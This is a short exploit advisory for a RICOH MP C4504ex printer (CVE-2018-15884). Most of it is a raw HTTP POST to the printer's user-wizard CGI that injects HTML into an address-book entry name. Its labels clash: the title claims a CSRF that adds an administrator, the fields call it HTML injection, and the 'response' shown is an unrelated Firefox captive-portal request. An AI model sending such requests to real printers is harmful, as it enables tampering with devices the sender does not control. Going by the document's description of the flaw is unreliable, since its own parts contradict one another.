RICOH MP C4504ex Printer - Cross-Site Request Forgery (Add Admin)

# Exploit Title: RICOH MP C4504ex Printer - Cross-Site Request Forgery (Add Admin)
# Date: 2018-08-21 
# Exploit Author: Ismail Tasdelen
# Vendor Homepage: https://www.ricoh.com/
# Hardware Link : https://www.ricoh-usa.com/en/products/pd/equipment/printers-and-copiers/multifunction-printers-copiers/mp-c4504ex-color-laser-multifunction-printer/_/R-417998
# Software : RICOH Printer
# Product Version:  MP C4504ex
# Vulernability Type : Code Injection
# Vulenrability : HTML Injection
# CVE : CVE-2018-15884

# CSRF vulnerability has been discovered on the printer of MP C4504ex of RICOH product.
# Low priviliage users are able to create administrator accounts

HTTP POST Request :

POST /web/entry/en/address/adrsSetUserWizard.cgi HTTP/1.1
Host: 192.168.0.10
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.10/web/entry/en/address/adrsList.cgi
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 193
Cookie: risessionid=132072532817225; cookieOnOffChecker=on; wimsesid=103007361
Connection: close

mode=ADDUSER&step=BASE&wimToken=2051165463&entryIndexIn=00007&entryNameIn=%22%3E%3Ch1%3EIsmail%3C%2Fh1%3E&entryDisplayNameIn=&entryTagInfoIn=1&entryTagInfoIn=1&entryTagInfoIn=1&entryTagInfoIn=1

HTTP Response Request :

GET /success.txt HTTP/1.1
Host: detectportal.firefox.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cache-Control: no-cache
Pragma: no-cache
Connection: close